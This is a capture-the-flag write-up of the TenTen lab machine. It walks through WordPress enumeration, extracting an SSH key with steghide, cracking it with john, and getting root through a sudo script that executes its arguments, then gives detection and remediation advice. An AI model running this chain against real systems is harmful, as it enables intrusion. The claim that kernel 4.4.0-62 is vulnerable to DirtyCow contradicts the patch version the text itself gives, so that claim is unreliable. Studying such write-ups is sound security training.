Overview
TenTen is a medium-rated Linux box running WordPress 4.7.3 with the WP Job Manager plugin on Ubuntu 16.04. The full attack chain requires no CVEs. Exploitation relies entirely on information disclosure, steganography, and a misconfigured sudo rule.
WordPress assigns sequential integer IDs to all post types, including custom
types registered by plugins. The WP Job Manager plugin stores job applications
as posts whose slugs correspond to uploaded file names. Enumerating post IDs 1
through 25 reveals a suspicious slug: “HackerAccessGranted”. The corresponding
file at the predictable WordPress upload path is a JPEG image containing an
RSA SSH private key hidden with steghide (empty extraction passphrase). The SSH
key is encrypted with AES-128-CBC; cracking it against rockyou.txt yields the
passphrase “superpassword”. This key belongs to user takis, identified
through WordPress author enumeration.
Privilege escalation is immediate: takis can run /bin/fuckin via sudo
without a password. The script body is $1 $2 $3 $4, which expands positional
parameters directly into shell execution context. Running
sudo /bin/fuckin bash provides a root shell.
What makes this box instructive is the information disclosure chain. None of the individual weaknesses (sequential IDs, steganography, weak SSH passphrase, overpermissive sudo) would be critical in isolation. Together, they form a complete compromise path. The box rewards methodical enumeration over exploit development.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -T4 10.129.15.155
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | Redirects to tenten.htb |
Two services, both standard. The SSH version string maps to Ubuntu 16.04
(Xenial), which narrows the kernel version range for later privilege
escalation research. The HTTP redirect to tenten.htb confirms vhost-based
routing; I add the entry to /etc/hosts.
The page source identifies WordPress 4.7.3 with the TwentySeventeen theme.
A “Job Portal” tagline and a /jobs/ listing page confirm the WP Job Manager
plugin is active. WordPress 4.7.3 has known vulnerabilities (the REST API
content injection flaw was patched in 4.7.2, so this version is theoretically
safe from that specific issue), but the plugin ecosystem is the more
productive attack surface.
WordPress user enumeration
WordPress exposes user information through author archive URLs. This is a
default behaviour, not a vulnerability; WordPress routes /?author=N to the
author’s archive page, leaking the username in the redirect Location header:
curl -sI http://tenten.htb/?author=1 | grep Location
# Location: http://tenten.htb/index.php/author/takis/
Author IDs 2 through 10 return 404. takis is the only user. Single-user
WordPress installations simplify targeting: any SSH key or credential found
likely belongs to this account.
Attack Surface Analysis
WP Job Manager post ID enumeration
WordPress stores all content (posts, pages, attachments, custom types) in the
wp_posts table with auto-incrementing IDs. This is a deliberate design
choice for URL routing: /?p=N resolves any post by ID. The WP Job Manager
plugin registers a custom post type (jobman_app) for job applications,
inheriting this ID-based access.
The critical design flaw: when a user submits a job application with a CV
upload, the plugin stores the uploaded file’s name as the post slug. Since
/?p=N exposes the slug in the page title regardless of the post’s visibility
settings, an unauthenticated attacker can enumerate uploaded file names.
for i in $(seq 1 25); do
title=$(curl -s "http://tenten.htb/?p=$i" | grep -oP '<title>\K[^<]+')
echo "ID $i: $title"
done
Relevant results:
ID 1: Job Developer
ID 8: Job Application: Developer
ID 13: Job Application: HackerAccessGranted
Post ID 13 stands out. “HackerAccessGranted” is not a plausible CV file name; it signals deliberate placement. The remaining IDs (2-7, 9-12, 14-25) contain standard WordPress content (pages, revisions, navigation menu items).
Uploaded file discovery
WordPress stores uploads in a date-based directory structure:
wp-content/uploads/YYYY/MM/. The upload date can be approximated from the
post creation date (visible in page metadata) or brute-forced across a small
range of months. I test the most likely path:
curl -sI http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
# HTTP/1.1 200 OK
# Content-Type: image/jpeg
# Content-Length: 42016
A 42 KB JPEG. For context, a typical photograph at this resolution would be 5-15 KB. The 42 KB size is suspicious but not conclusive; steganographic payloads increase file size, but so does high-detail image content. I flag it for steganographic analysis.
Vulnerability Analysis
The attack chain does not rely on any software CVE. It chains three weaknesses:
| Weakness | CWE | Description |
|---|---|---|
| Post ID enumeration | CWE-200 (Exposure of Sensitive Information) | Sequential IDs expose uploaded file names to unauthenticated users |
| Steganographic credential storage | CWE-312 (Cleartext Storage of Sensitive Information) | SSH private key embedded in a publicly accessible image |
| Insecure sudo configuration | CWE-269 (Improper Privilege Management) | /bin/fuckin executes arbitrary arguments as root |
The information disclosure is a design flaw in how WordPress handles custom
post types, not a bug in the traditional sense. WordPress intentionally makes
post slugs accessible via /?p=N. The WP Job Manager plugin does not account
for this when storing application file names as slugs. The plugin treats the
slug as internal metadata; WordPress treats it as public.
The steganographic storage is not a vulnerability in steghide itself. The weakness is storing a private key in a publicly accessible location with an empty extraction passphrase. Steghide with a strong passphrase would have required a dictionary attack or brute force, adding significant time to the exploitation.
Exploitation
Step 1: Steganographic extraction
I chose steghide over alternatives (binwalk, zsteg, foremost) because the file is a JPEG. Steghide operates on JPEG and BMP formats using a frequency-domain embedding algorithm that survives casual inspection. Binwalk would detect appended data but not steghide’s DCT-coefficient embedding. Zsteg only supports PNG and BMP.
wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
steghide extract -sf HackerAccessGranted.jpg -p ""
# wrote extracted data to "id_rsa".
head -5 id_rsa
# [RSA key header]
# Proc-Type: 4,ENCRYPTED
# DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C
The Proc-Type: 4,ENCRYPTED header indicates the key uses the older PEM
encryption format (pre-OpenSSH 7.8). The DEK-Info line specifies AES-128-CBC
with an IV, meaning the passphrase is processed through a single round of
MD5 (no KDF strengthening). This makes dictionary attacks fast: john processes
millions of candidates per second against this format.
Step 2: SSH key cracking
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
# superpassword (id_rsa)
The passphrase “superpassword” falls within the first thousand entries of rockyou.txt. The weak KDF (single MD5 round) made this a sub-second crack. A modern OpenSSH key format (bcrypt KDF with configurable rounds) would have made dictionary attacks orders of magnitude slower.
Step 3: SSH access
chmod 600 id_rsa
ssh -i id_rsa [email protected]
# Enter passphrase for key 'id_rsa': superpassword
takis@tenten:~$ id
# uid=1000(takis) gid=1000(takis) groups=1000(takis),4(adm),
# 24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
cat /home/takis/user.txt
# [redacted]
The sudo and lxd group memberships are notable. The sudo group on Ubuntu
grants passworded sudo access by default, but the interesting vector is the
NOPASSWD entry discovered next. The lxd group provides an alternative
privilege escalation path via container escape.
Step 4: Privilege escalation via /bin/fuckin
takis@tenten:~$ sudo -l
# User takis may run the following commands on tenten:
# (ALL : ALL) ALL
# (ALL) NOPASSWD: /bin/fuckin
Two sudo entries exist. The first ((ALL : ALL) ALL) requires takis’s
password, which I do not have (I authenticated via SSH key). The second allows
passwordless execution of /bin/fuckin.
cat /bin/fuckin
# #!/bin/bash
# $1 $2 $3 $4
The script expands positional parameters directly into shell execution
context without quoting, validation, or argument restriction. Bash interprets
$1 $2 $3 $4 as a command line: $1 becomes the command, $2 through $4
become arguments. When fewer than four arguments are provided, the remaining
parameters expand to empty strings and are discarded.
This is functionally equivalent to (ALL) NOPASSWD: ALL. Any command can be
executed as root:
sudo /bin/fuckin bash
root@tenten:~# id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# [redacted]
The script could also be exploited with sudo /bin/fuckin cat /root/root.txt
or any other command up to three arguments long. For commands requiring more
than three arguments, shell quoting tricks (sudo /bin/fuckin bash -c "long command here") bypass the four-parameter limit.
Post-Exploitation
uname -a
# Linux tenten 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0-62. This kernel is vulnerable to DirtyCow (CVE-2016-5195, patched in 4.4.0-45) and multiple AF_PACKET local privilege escalation vulnerabilities. Either would provide an alternative root path without the sudo misconfiguration.
The takis user belongs to the lxd group, providing a third privilege
escalation vector: creating a privileged LXD container that mounts the host
filesystem grants full read/write access to /root/. The sudo
misconfiguration made both alternatives unnecessary.
The WordPress installation uses default database credentials in
wp-config.php. The upload restriction on the Job Manager form correctly
blocks PHP files but accepts images, which is the intended security boundary.
The issue is not that images are accepted; it is that the file name leaks
through the post slug mechanism.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 Active Scanning | Sequential requests to /?p=1 through /?p=25 |
| Resource Development | T1588.004 Digital Certificates | SSH key extracted from steganographic image |
| Initial Access | T1078.003 Valid Accounts: Local | SSH login with key-based auth from external IP |
| Privilege Escalation | T1548.003 Sudo and Sudo Caching | sudo /bin/fuckin spawning /bin/bash as root |
Network-level: The post ID enumeration produces a burst of 25 sequential
HTTP requests to /?p=N within seconds. This pattern is trivially
distinguishable from normal browsing. A web application firewall rule matching
sequential integer requests to the WordPress post endpoint would catch this.
Rate limiting alone is insufficient; an attacker willing to add delays between
requests would evade it. The correct mitigation is disabling direct post ID
access for non-public post types.
Host-level: Two detection points stand out. First, SSH authentication logs
(/var/log/auth.log) would show a key-based login for takis from an IP
outside the expected range. If takis’s authorised keys are managed centrally,
an unrecognised key fingerprint would trigger an alert. Second, auditd rules
on sudo invocations would capture the /bin/fuckin bash command. Any process
monitoring tool (osquery, Falco, auditd) would flag bash spawned as a child
of a sudo-executed script. The combination of an unknown SSH key followed by
immediate sudo escalation is a high-confidence compromise indicator.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove /bin/fuckin from sudoers; audit all sudo rules | Low | Critical |
| P0 | Rotate takis’s SSH key; revoke the compromised key | Low | Critical |
| P0 | Delete HackerAccessGranted.jpg from uploads | Low | Critical |
| P1 | Disable direct post ID access for non-public types | Medium | High |
| P1 | Remove takis from the lxd group | Low | High |
| P1 | Migrate SSH keys to OpenSSH format (bcrypt KDF) | Low | High |
| P2 | Restrict WordPress author enumeration | Low | Medium |
| P2 | Set upload directory permissions to prevent browsing | Low | Medium |
| P3 | Upgrade to Ubuntu 22.04+ and current WordPress | High | High |
The sudo misconfiguration is the most dangerous finding and the simplest to
fix. Any script that passes user-controlled arguments directly to shell
execution is equivalent to granting unrestricted root access. The sudoers
entry should be removed entirely. If the script serves a legitimate purpose,
it must be rewritten with explicit argument validation against an allowlist,
and the positional parameters must be quoted ("$1" not $1) to prevent
word splitting and glob expansion.
The deeper systemic issue is Ubuntu 16.04, which reached end-of-life in April 2021. The kernel is vulnerable to multiple local privilege escalation CVEs, meaning even full remediation of the application-layer findings leaves the host compromisable through kernel exploits.
Key Takeaways
-
WordPress post IDs are a free enumeration channel. Sequential integer IDs expose every post type’s slug, including custom types from plugins. Plugins that store sensitive information in post slugs (uploaded file names, internal identifiers, draft content) create an information disclosure path that WordPress considers by-design. Always test
/?p=1through/?p=50on any WordPress target. The defence is restricting/?p=Naccess for non-public post types at the plugin or theme level, since WordPress itself will not change this behaviour. -
Steganography on HTB means checking every image. Any image file in a WordPress uploads directory warrants a
steghide extract -p ""test. The empty passphrase case takes two seconds to verify. In real-world assessments, steganography is rare; on HTB, it appears frequently enough to justify routine checking. The tool selection matters: steghide for JPEG and BMP, zsteg for PNG and BMP, binwalk for appended/embedded data in any format. -
Shell scripts in sudoers are almost always exploitable. A script that expands its arguments into shell execution context grants the same access as
(ALL) NOPASSWD: ALL. The positional parameter expansion ($1 $2 $3 $4) is functionally indistinguishable from direct command execution. Sudo rules should reference compiled binaries with fixed behaviour, never shell scripts that interpret their arguments. If a shell script must appear in sudoers, it should accept no arguments and perform a single, hardcoded operation.